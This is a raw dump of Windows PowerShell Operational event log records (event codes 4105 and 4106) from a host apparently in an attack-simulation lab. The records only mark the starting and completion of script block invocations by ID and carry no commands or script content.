ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036621
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036619
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036618
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036601
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036595
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036573
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036571
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036570
Keywords=None
